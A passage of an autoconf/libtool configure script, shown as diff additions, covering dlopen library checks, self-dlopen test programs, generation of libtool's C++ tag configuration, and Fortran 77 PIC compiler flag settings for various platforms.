"$ac_cxx_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_dl_dlopen=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_lib_dl_dlopen=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +echo "$as_me:$LINENO: result: $ac_cv_lib_dl_dlopen" >&5 +echo "${ECHO_T}$ac_cv_lib_dl_dlopen" >&6 +if test $ac_cv_lib_dl_dlopen = yes; then + lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl" +else + echo "$as_me:$LINENO: checking for dlopen in -lsvld" >&5 +echo $ECHO_N "checking for dlopen in -lsvld... $ECHO_C" >&6 +if test "${ac_cv_lib_svld_dlopen+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-lsvld $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any gcc2 internal prototype to avoid an error. */ +#ifdef __cplusplus +extern "C" +#endif +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char dlopen (); +int +main () +{ +dlopen (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_cxx_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_svld_dlopen=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_lib_svld_dlopen=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +echo "$as_me:$LINENO: result: $ac_cv_lib_svld_dlopen" >&5 +echo "${ECHO_T}$ac_cv_lib_svld_dlopen" >&6 +if test $ac_cv_lib_svld_dlopen = yes; then + lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-lsvld" +else + echo "$as_me:$LINENO: checking for dld_link in -ldld" >&5 +echo $ECHO_N "checking for dld_link in -ldld... $ECHO_C" >&6 +if test "${ac_cv_lib_dld_dld_link+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldld $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any gcc2 internal prototype to avoid an error. */ +#ifdef __cplusplus +extern "C" +#endif +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char dld_link (); +int +main () +{ +dld_link (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_cxx_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_dld_dld_link=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_lib_dld_dld_link=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +echo "$as_me:$LINENO: result: $ac_cv_lib_dld_dld_link" >&5 +echo "${ECHO_T}$ac_cv_lib_dld_dld_link" >&6 +if test $ac_cv_lib_dld_dld_link = yes; then + lt_cv_dlopen="dld_link" lt_cv_dlopen_libs="-dld" +fi + + +fi + + +fi + + +fi + + +fi + + +fi + + ;; + esac + + if test "x$lt_cv_dlopen" != xno; then + enable_dlopen=yes + else + enable_dlopen=no + fi + + case $lt_cv_dlopen in + dlopen) + save_CPPFLAGS="$CPPFLAGS" + test "x$ac_cv_header_dlfcn_h" = xyes && CPPFLAGS="$CPPFLAGS -DHAVE_DLFCN_H" + + save_LDFLAGS="$LDFLAGS" + eval LDFLAGS=\"\$LDFLAGS $export_dynamic_flag_spec\" + + save_LIBS="$LIBS" + LIBS="$lt_cv_dlopen_libs $LIBS" + + echo "$as_me:$LINENO: checking whether a program can dlopen itself" >&5 +echo $ECHO_N "checking whether a program can dlopen itself... $ECHO_C" >&6 +if test "${lt_cv_dlopen_self+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test "$cross_compiling" = yes; then : + lt_cv_dlopen_self=cross +else + lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2 + lt_status=$lt_dlunknown + cat > conftest.$ac_ext <<EOF +#line 12624 "configure" +#include "confdefs.h" + +#if HAVE_DLFCN_H +#include <dlfcn.h> +#endif + +#include <stdio.h> + +#ifdef RTLD_GLOBAL +# define LT_DLGLOBAL RTLD_GLOBAL +#else +# ifdef DL_GLOBAL +# define LT_DLGLOBAL DL_GLOBAL +# else +# define LT_DLGLOBAL 0 +# endif +#endif + +/* We may have to define LT_DLLAZY_OR_NOW in the command line if we + find out it does not work in some platform. */ +#ifndef LT_DLLAZY_OR_NOW +# ifdef RTLD_LAZY +# define LT_DLLAZY_OR_NOW RTLD_LAZY +# else +# ifdef DL_LAZY +# define LT_DLLAZY_OR_NOW DL_LAZY +# else +# ifdef RTLD_NOW +# define LT_DLLAZY_OR_NOW RTLD_NOW +# else +# ifdef DL_NOW +# define LT_DLLAZY_OR_NOW DL_NOW +# else +# define LT_DLLAZY_OR_NOW 0 +# endif +# endif +# endif +# endif +#endif + +#ifdef __cplusplus +extern "C" void exit (int); +#endif + +void fnord() { int i=42;} +int main () +{ + void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); + int status = $lt_dlunknown; + + if (self) + { + if (dlsym (self,"fnord")) status = $lt_dlno_uscore; + else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore; + /* dlclose (self); */ + } + + exit (status); +} +EOF + if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && test -s conftest${ac_exeext} 2>/dev/null; then + (./conftest; exit; ) 2>/dev/null + lt_status=$? + case x$lt_status in + x$lt_dlno_uscore) lt_cv_dlopen_self=yes ;; + x$lt_dlneed_uscore) lt_cv_dlopen_self=yes ;; + x$lt_unknown|x*) lt_cv_dlopen_self=no ;; + esac + else : + # compilation failed + lt_cv_dlopen_self=no + fi +fi +rm -fr conftest* + + +fi +echo "$as_me:$LINENO: result: $lt_cv_dlopen_self" >&5 +echo "${ECHO_T}$lt_cv_dlopen_self" >&6 + + if test "x$lt_cv_dlopen_self" = xyes; then + LDFLAGS="$LDFLAGS $link_static_flag" + echo "$as_me:$LINENO: checking whether a statically linked program can dlopen itself" >&5 +echo $ECHO_N "checking whether a statically linked program can dlopen itself... $ECHO_C" >&6 +if test "${lt_cv_dlopen_self_static+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test "$cross_compiling" = yes; then : + lt_cv_dlopen_self_static=cross +else + lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2 + lt_status=$lt_dlunknown + cat > conftest.$ac_ext <<EOF +#line 12722 "configure" +#include "confdefs.h" + +#if HAVE_DLFCN_H +#include <dlfcn.h> +#endif + +#include <stdio.h> + +#ifdef RTLD_GLOBAL +# define LT_DLGLOBAL RTLD_GLOBAL +#else +# ifdef DL_GLOBAL +# define LT_DLGLOBAL DL_GLOBAL +# else +# define LT_DLGLOBAL 0 +# endif +#endif + +/* We may have to define LT_DLLAZY_OR_NOW in the command line if we + find out it does not work in some platform. */ +#ifndef LT_DLLAZY_OR_NOW +# ifdef RTLD_LAZY +# define LT_DLLAZY_OR_NOW RTLD_LAZY +# else +# ifdef DL_LAZY +# define LT_DLLAZY_OR_NOW DL_LAZY +# else +# ifdef RTLD_NOW +# define LT_DLLAZY_OR_NOW RTLD_NOW +# else +# ifdef DL_NOW +# define LT_DLLAZY_OR_NOW DL_NOW +# else +# define LT_DLLAZY_OR_NOW 0 +# endif +# endif +# endif +# endif +#endif + +#ifdef __cplusplus +extern "C" void exit (int); +#endif + +void fnord() { int i=42;} +int main () +{ + void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); + int status = $lt_dlunknown; + + if (self) + { + if (dlsym (self,"fnord")) status = $lt_dlno_uscore; + else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore; + /* dlclose (self); */ + } + + exit (status); +} +EOF + if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && test -s conftest${ac_exeext} 2>/dev/null; then + (./conftest; exit; ) 2>/dev/null + lt_status=$? + case x$lt_status in + x$lt_dlno_uscore) lt_cv_dlopen_self_static=yes ;; + x$lt_dlneed_uscore) lt_cv_dlopen_self_static=yes ;; + x$lt_unknown|x*) lt_cv_dlopen_self_static=no ;; + esac + else : + # compilation failed + lt_cv_dlopen_self_static=no + fi +fi +rm -fr conftest* + + +fi +echo "$as_me:$LINENO: result: $lt_cv_dlopen_self_static" >&5 +echo "${ECHO_T}$lt_cv_dlopen_self_static" >&6 + fi + + CPPFLAGS="$save_CPPFLAGS" + LDFLAGS="$save_LDFLAGS" + LIBS="$save_LIBS" + ;; + esac + + case $lt_cv_dlopen_self in + yes|no) enable_dlopen_self=$lt_cv_dlopen_self ;; + *) enable_dlopen_self=unknown ;; + esac + + case $lt_cv_dlopen_self_static in + yes|no) enable_dlopen_self_static=$lt_cv_dlopen_self_static ;; + *) enable_dlopen_self_static=unknown ;; + esac +fi + + +# The else clause should only fire when bootstrapping the +# libtool distribution, otherwise you forgot to ship ltmain.sh +# with your package, and you will get complaints that there are +# no rules to generate ltmain.sh. +if test -f "$ltmain"; then + # See if we are running on zsh, and set the options which allow our commands through + # without removal of \ escapes. + if test -n "${ZSH_VERSION+set}" ; then + setopt NO_GLOB_SUBST + fi + # Now quote all the things that may contain metacharacters while being + # careful not to overquote the AC_SUBSTed values. We take copies of the + # variables and quote the copies for generation of the libtool script. + for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC NM \ + SED SHELL STRIP \ + libname_spec library_names_spec soname_spec extract_expsyms_cmds \ + old_striplib striplib file_magic_cmd finish_cmds finish_eval \ + deplibs_check_method reload_flag reload_cmds need_locks \ + lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \ + lt_cv_sys_global_symbol_to_c_name_address \ + sys_lib_search_path_spec sys_lib_dlsearch_path_spec \ + old_postinstall_cmds old_postuninstall_cmds \ + compiler_CXX \ + CC_CXX \ + LD_CXX \ + lt_prog_compiler_wl_CXX \ + lt_prog_compiler_pic_CXX \ + lt_prog_compiler_static_CXX \ + lt_prog_compiler_no_builtin_flag_CXX \ + export_dynamic_flag_spec_CXX \ + thread_safe_flag_spec_CXX \ + whole_archive_flag_spec_CXX \ + enable_shared_with_static_runtimes_CXX \ + old_archive_cmds_CXX \ + old_archive_from_new_cmds_CXX \ + predep_objects_CXX \ + postdep_objects_CXX \ + predeps_CXX \ + postdeps_CXX \ + compiler_lib_search_path_CXX \ + archive_cmds_CXX \ + archive_expsym_cmds_CXX \ + postinstall_cmds_CXX \ + postuninstall_cmds_CXX \ + old_archive_from_expsyms_cmds_CXX \ + allow_undefined_flag_CXX \ + no_undefined_flag_CXX \ + export_symbols_cmds_CXX \ + hardcode_libdir_flag_spec_CXX \ + hardcode_libdir_flag_spec_ld_CXX \ + hardcode_libdir_separator_CXX \ + hardcode_automatic_CXX \ + module_cmds_CXX \ + module_expsym_cmds_CXX \ + lt_cv_prog_compiler_c_o_CXX \ + exclude_expsyms_CXX \ + include_expsyms_CXX; do + + case $var in + old_archive_cmds_CXX | \ + old_archive_from_new_cmds_CXX | \ + archive_cmds_CXX | \ + archive_expsym_cmds_CXX | \ + module_cmds_CXX | \ + module_expsym_cmds_CXX | \ + old_archive_from_expsyms_cmds_CXX | \ + export_symbols_cmds_CXX | \ + extract_expsyms_cmds | reload_cmds | finish_cmds | \ + postinstall_cmds | postuninstall_cmds | \ + old_postinstall_cmds | old_postuninstall_cmds | \ + sys_lib_search_path_spec | sys_lib_dlsearch_path_spec) + # Double-quote double-evaled strings. + eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\"" + ;; + *) + eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\"" + ;; + esac + done + + case $lt_echo in + *'\$0 --fallback-echo"') + lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'` + ;; + esac + +cfgfile="$ofile" + + cat <<__EOF__ >> "$cfgfile" +# ### BEGIN LIBTOOL TAG CONFIG: $tagname + +# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`: + +# Shell to use when invoking shell scripts. +SHELL=$lt_SHELL + +# Whether or not to build shared libraries. +build_libtool_libs=$enable_shared + +# Whether or not to build static libraries. +build_old_libs=$enable_static + +# Whether or not to add -lc for building shared libraries. +build_libtool_need_lc=$archive_cmds_need_lc_CXX + +# Whether or not to disallow shared libs when runtime libs are static +allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes_CXX + +# Whether or not to optimize for fast installation. +fast_install=$enable_fast_install + +# The host system. +host_alias=$host_alias +host=$host + +# An echo program that does not interpret backslashes. +echo=$lt_echo + +# The archiver. +AR=$lt_AR +AR_FLAGS=$lt_AR_FLAGS + +# A C compiler. +LTCC=$lt_LTCC + +# A language-specific compiler. +CC=$lt_compiler_CXX + +# Is the compiler the GNU C compiler? +with_gcc=$GCC_CXX + +# An ERE matcher. +EGREP=$lt_EGREP + +# The linker used to build libraries. +LD=$lt_LD_CXX + +# Whether we need hard or soft links. +LN_S=$lt_LN_S + +# A BSD-compatible nm program. +NM=$lt_NM + +# A symbol stripping program +STRIP=$lt_STRIP + +# Used to examine libraries when file_magic_cmd begins "file" +MAGIC_CMD=$MAGIC_CMD + +# Used on cygwin: DLL creation program. +DLLTOOL="$DLLTOOL" + +# Used on cygwin: object dumper. +OBJDUMP="$OBJDUMP" + +# Used on cygwin: assembler. +AS="$AS" + +# The name of the directory that contains temporary libtool files. +objdir=$objdir + +# How to create reloadable object files. +reload_flag=$lt_reload_flag +reload_cmds=$lt_reload_cmds + +# How to pass a linker flag through the compiler. +wl=$lt_lt_prog_compiler_wl_CXX + +# Object file suffix (normally "o"). +objext="$ac_objext" + +# Old archive suffix (normally "a"). +libext="$libext" + +# Shared library suffix (normally ".so"). +shrext_cmds='$shrext_cmds' + +# Executable file suffix (normally ""). +exeext="$exeext" + +# Additional compiler flags for building library objects. +pic_flag=$lt_lt_prog_compiler_pic_CXX +pic_mode=$pic_mode + +# What is the maximum length of a command? +max_cmd_len=$lt_cv_sys_max_cmd_len + +# Does compiler simultaneously support -c and -o options? +compiler_c_o=$lt_lt_cv_prog_compiler_c_o_CXX + +# Must we lock files when doing compilation ? +need_locks=$lt_need_locks + +# Do we need the lib prefix for modules? +need_lib_prefix=$need_lib_prefix + +# Do we need a version for libraries? +need_version=$need_version + +# Whether dlopen is supported. +dlopen_support=$enable_dlopen + +# Whether dlopen of programs is supported. +dlopen_self=$enable_dlopen_self + +# Whether dlopen of statically linked programs is supported. +dlopen_self_static=$enable_dlopen_self_static + +# Compiler flag to prevent dynamic linking. +link_static_flag=$lt_lt_prog_compiler_static_CXX + +# Compiler flag to turn off builtin functions. +no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_CXX + +# Compiler flag to allow reflexive dlopens. +export_dynamic_flag_spec=$lt_export_dynamic_flag_spec_CXX + +# Compiler flag to generate shared objects directly from archives. +whole_archive_flag_spec=$lt_whole_archive_flag_spec_CXX + +# Compiler flag to generate thread-safe objects. +thread_safe_flag_spec=$lt_thread_safe_flag_spec_CXX + +# Library versioning type. +version_type=$version_type + +# Format of library name prefix. +libname_spec=$lt_libname_spec + +# List of archive names. First name is the real one, the rest are links. +# The last name is the one that the linker finds with -lNAME. +library_names_spec=$lt_library_names_spec + +# The coded name of the library, if different from the real name. +soname_spec=$lt_soname_spec + +# Commands used to build and install an old-style archive. +RANLIB=$lt_RANLIB +old_archive_cmds=$lt_old_archive_cmds_CXX +old_postinstall_cmds=$lt_old_postinstall_cmds +old_postuninstall_cmds=$lt_old_postuninstall_cmds + +# Create an old-style archive from a shared archive. +old_archive_from_new_cmds=$lt_old_archive_from_new_cmds_CXX + +# Create a temporary old-style archive to link instead of a shared archive. +old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds_CXX + +# Commands used to build and install a shared archive. +archive_cmds=$lt_archive_cmds_CXX +archive_expsym_cmds=$lt_archive_expsym_cmds_CXX +postinstall_cmds=$lt_postinstall_cmds +postuninstall_cmds=$lt_postuninstall_cmds + +# Commands used to build a loadable module (assumed same as above if empty) +module_cmds=$lt_module_cmds_CXX +module_expsym_cmds=$lt_module_expsym_cmds_CXX + +# Commands to strip libraries. +old_striplib=$lt_old_striplib +striplib=$lt_striplib + +# Dependencies to place before the objects being linked to create a +# shared library. +predep_objects=$lt_predep_objects_CXX + +# Dependencies to place after the objects being linked to create a +# shared library. +postdep_objects=$lt_postdep_objects_CXX + +# Dependencies to place before the objects being linked to create a +# shared library. +predeps=$lt_predeps_CXX + +# Dependencies to place after the objects being linked to create a +# shared library. +postdeps=$lt_postdeps_CXX + +# The library search path used internally by the compiler when linking +# a shared library. +compiler_lib_search_path=$lt_compiler_lib_search_path_CXX + +# Method to check whether dependent libraries are shared objects. +deplibs_check_method=$lt_deplibs_check_method + +# Command to use when deplibs_check_method == file_magic. +file_magic_cmd=$lt_file_magic_cmd + +# Flag that allows shared libraries with undefined symbols to be built. +allow_undefined_flag=$lt_allow_undefined_flag_CXX + +# Flag that forces no undefined symbols. +no_undefined_flag=$lt_no_undefined_flag_CXX + +# Commands used to finish a libtool library installation in a directory. +finish_cmds=$lt_finish_cmds + +# Same as above, but a single script fragment to be evaled but not shown. +finish_eval=$lt_finish_eval + +# Take the output of nm and produce a listing of raw symbols and C names. +global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe + +# Transform the output of nm in a proper C declaration +global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl + +# Transform the output of nm in a C name address pair +global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address + +# This is the shared library runtime path variable. +runpath_var=$runpath_var + +# This is the shared library path variable. +shlibpath_var=$shlibpath_var + +# Is shlibpath searched before the hard-coded library search path? +shlibpath_overrides_runpath=$shlibpath_overrides_runpath + +# How to hardcode a shared library path into an executable. +hardcode_action=$hardcode_action_CXX + +# Whether we should hardcode library paths into libraries. +hardcode_into_libs=$hardcode_into_libs + +# Flag to hardcode \$libdir into a binary during linking. +# This must work even if \$libdir does not exist. +hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec_CXX + +# If ld is used when linking, flag to hardcode \$libdir into +# a binary during linking. This must work even if \$libdir does +# not exist. +hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld_CXX + +# Whether we need a single -rpath flag with a separated argument. +hardcode_libdir_separator=$lt_hardcode_libdir_separator_CXX + +# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the +# resulting binary. +hardcode_direct=$hardcode_direct_CXX + +# Set to yes if using the -LDIR flag during linking hardcodes DIR into the +# resulting binary. +hardcode_minus_L=$hardcode_minus_L_CXX + +# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into +# the resulting binary. +hardcode_shlibpath_var=$hardcode_shlibpath_var_CXX + +# Set to yes if building a shared library automatically hardcodes DIR into the library +# and all subsequent libraries and executables linked against it. +hardcode_automatic=$hardcode_automatic_CXX + +# Variables whose values should be saved in libtool wrapper scripts and +# restored at relink time. +variables_saved_for_relink="$variables_saved_for_relink" + +# Whether libtool must link a program against all its dependency libraries. +link_all_deplibs=$link_all_deplibs_CXX + +# Compile-time system search path for libraries +sys_lib_search_path_spec=$lt_sys_lib_search_path_spec + +# Run-time system search path for libraries +sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec + +# Fix the shell variable \$srcfile for the compiler. +fix_srcfile_path="$fix_srcfile_path_CXX" + +# Set to yes if exported symbols are required. +always_export_symbols=$always_export_symbols_CXX + +# The commands to list exported symbols. +export_symbols_cmds=$lt_export_symbols_cmds_CXX + +# The commands to extract the exported symbol list from a shared archive. +extract_expsyms_cmds=$lt_extract_expsyms_cmds + +# Symbols that should not be listed in the preloaded symbols. +exclude_expsyms=$lt_exclude_expsyms_CXX + +# Symbols that must always be exported. +include_expsyms=$lt_include_expsyms_CXX + +# ### END LIBTOOL TAG CONFIG: $tagname + +__EOF__ + + +else + # If there is no Makefile yet, we rely on a make rule to execute + # `config.status --recheck' to rerun these tests and create the + # libtool script then. + ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'` + if test -f "$ltmain_in"; then + test -f Makefile && make "$ltmain" + fi +fi + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + +CC=$lt_save_CC +LDCXX=$LD +LD=$lt_save_LD +GCC=$lt_save_GCC +with_gnu_ldcxx=$with_gnu_ld +with_gnu_ld=$lt_save_with_gnu_ld +lt_cv_path_LDCXX=$lt_cv_path_LD +lt_cv_path_LD=$lt_save_path_LD +lt_cv_prog_gnu_ldcxx=$lt_cv_prog_gnu_ld +lt_cv_prog_gnu_ld=$lt_save_with_gnu_ld + + else + tagname="" + fi + ;; + + F77) + if test -n "$F77" && test "X$F77" != "Xno"; then + +ac_ext=f +ac_compile='$F77 -c $FFLAGS conftest.$ac_ext >&5' +ac_link='$F77 -o conftest$ac_exeext $FFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_f77_compiler_gnu + + +archive_cmds_need_lc_F77=no +allow_undefined_flag_F77= +always_export_symbols_F77=no +archive_expsym_cmds_F77= +export_dynamic_flag_spec_F77= +hardcode_direct_F77=no +hardcode_libdir_flag_spec_F77= +hardcode_libdir_flag_spec_ld_F77= +hardcode_libdir_separator_F77= +hardcode_minus_L_F77=no +hardcode_automatic_F77=no +module_cmds_F77= +module_expsym_cmds_F77= +link_all_deplibs_F77=unknown +old_archive_cmds_F77=$old_archive_cmds +no_undefined_flag_F77= +whole_archive_flag_spec_F77= +enable_shared_with_static_runtimes_F77=no + +# Source file extension for f77 test sources. +ac_ext=f + +# Object file extension for compiled f77 test sources. +objext=o +objext_F77=$objext + +# Code to be used in simple compile tests +lt_simple_compile_test_code=" subroutine t\n return\n end\n" + +# Code to be used in simple link tests +lt_simple_link_test_code=" program t\n end\n" + +# ltmain only uses $CC for tagged configurations so make sure $CC is set. + +# If no C compiler was specified, use CC. +LTCC=${LTCC-"$CC"} + +# Allow CC to be a program name with arguments. +compiler=$CC + + +# Allow CC to be a program name with arguments. +lt_save_CC="$CC" +CC=${F77-"f77"} +compiler=$CC +compiler_F77=$CC +cc_basename=`$echo X"$compiler" | $Xsed -e 's%^.*/%%'` + +echo "$as_me:$LINENO: checking if libtool supports shared libraries" >&5 +echo $ECHO_N "checking if libtool supports shared libraries... $ECHO_C" >&6 +echo "$as_me:$LINENO: result: $can_build_shared" >&5 +echo "${ECHO_T}$can_build_shared" >&6 + +echo "$as_me:$LINENO: checking whether to build shared libraries" >&5 +echo $ECHO_N "checking whether to build shared libraries... $ECHO_C" >&6 +test "$can_build_shared" = "no" && enable_shared=no + +# On AIX, shared libraries and static libraries use the same namespace, and +# are all built from PIC. +case "$host_os" in +aix3*) + test "$enable_shared" = yes && enable_static=no + if test -n "$RANLIB"; then + archive_cmds="$archive_cmds~\$RANLIB \$lib" + postinstall_cmds='$RANLIB $lib' + fi + ;; +aix4* | aix5*) + test "$enable_shared" = yes && enable_static=no + ;; +esac +echo "$as_me:$LINENO: result: $enable_shared" >&5 +echo "${ECHO_T}$enable_shared" >&6 + +echo "$as_me:$LINENO: checking whether to build static libraries" >&5 +echo $ECHO_N "checking whether to build static libraries... $ECHO_C" >&6 +# Make sure either enable_shared or enable_static is yes. +test "$enable_shared" = yes || enable_static=yes +echo "$as_me:$LINENO: result: $enable_static" >&5 +echo "${ECHO_T}$enable_static" >&6 + +test "$ld_shlibs_F77" = no && can_build_shared=no + +GCC_F77="$G77" +LD_F77="$LD" + +lt_prog_compiler_wl_F77= +lt_prog_compiler_pic_F77= +lt_prog_compiler_static_F77= + +echo "$as_me:$LINENO: checking for $compiler option to produce PIC" >&5 +echo $ECHO_N "checking for $compiler option to produce PIC... $ECHO_C" >&6 + + if test "$GCC" = yes; then + lt_prog_compiler_wl_F77='-Wl,' + lt_prog_compiler_static_F77='-static' + + case $host_os in + aix*) + # All AIX code is PIC. + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + lt_prog_compiler_static_F77='-Bstatic' + fi + ;; + + amigaos*) + # FIXME: we need at least 68020 code to build shared libraries, but + # adding the `-m68020' flag to GCC prevents building anything better, + # like `-m68040'. + lt_prog_compiler_pic_F77='-m68020 -resident32 -malways-restore-a4' + ;; + + beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*) + # PIC is the default for these OSes. + ;; + + mingw* | pw32* | os2*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + lt_prog_compiler_pic_F77='-DDLL_EXPORT' + ;; + + darwin* | rhapsody*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + lt_prog_compiler_pic_F77='-fno-common' + ;; + + msdosdjgpp*) + # Just because we use GCC doesn't mean we suddenly get shared libraries + # on systems that don't support them. + lt_prog_compiler_can_build_shared_F77=no + enable_shared=no + ;; + + sysv4*MP*) + if test -d /usr/nec; then + lt_prog_compiler_pic_F77=-Kconform_pic + fi + ;; + + hpux*) + # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but + # not for PA HP-UX. + case "$host_cpu" in + hppa*64*|ia64*) + # +Z the default + ;; + *) + lt_prog_compiler_pic_F77='-fPIC' + ;; + esac + ;; + + *) + lt_prog_compiler_pic_F77='-fPIC' + ;; + esac + else + # PORTME Check for flag to pass linker flags through the system compiler. + case $host_os in + aix*) + lt_prog_compiler_wl_F77='-Wl,' + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + lt_prog_compiler_static_F77='-Bstatic' + else + lt_prog_compiler_static_F77='-bnso -bI:/lib/syscalls.exp' + fi + ;; + darwin*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + case "$cc_basename" in + xlc*) + lt_prog_compiler_pic_F77='-qnocommon' + lt_prog_compiler_wl_F77='-Wl,' + ;; + esac + ;; + + mingw* | pw32* | os2*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + lt_prog_compiler_pic_F77='-DDLL_EXPORT' + ;; + + hpux9* | hpux10* | hpux11*) + lt_prog_compiler_wl_F77='-Wl,' + # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but + # not for PA HP-UX. + case "$host_cpu" in + hppa*64*|ia64*) + # +Z the default + ;; + *) + lt_prog_compiler_pic_F77='+Z' + ;; + esac + # Is there a better lt_prog_compiler_static that works with the bundled CC? + 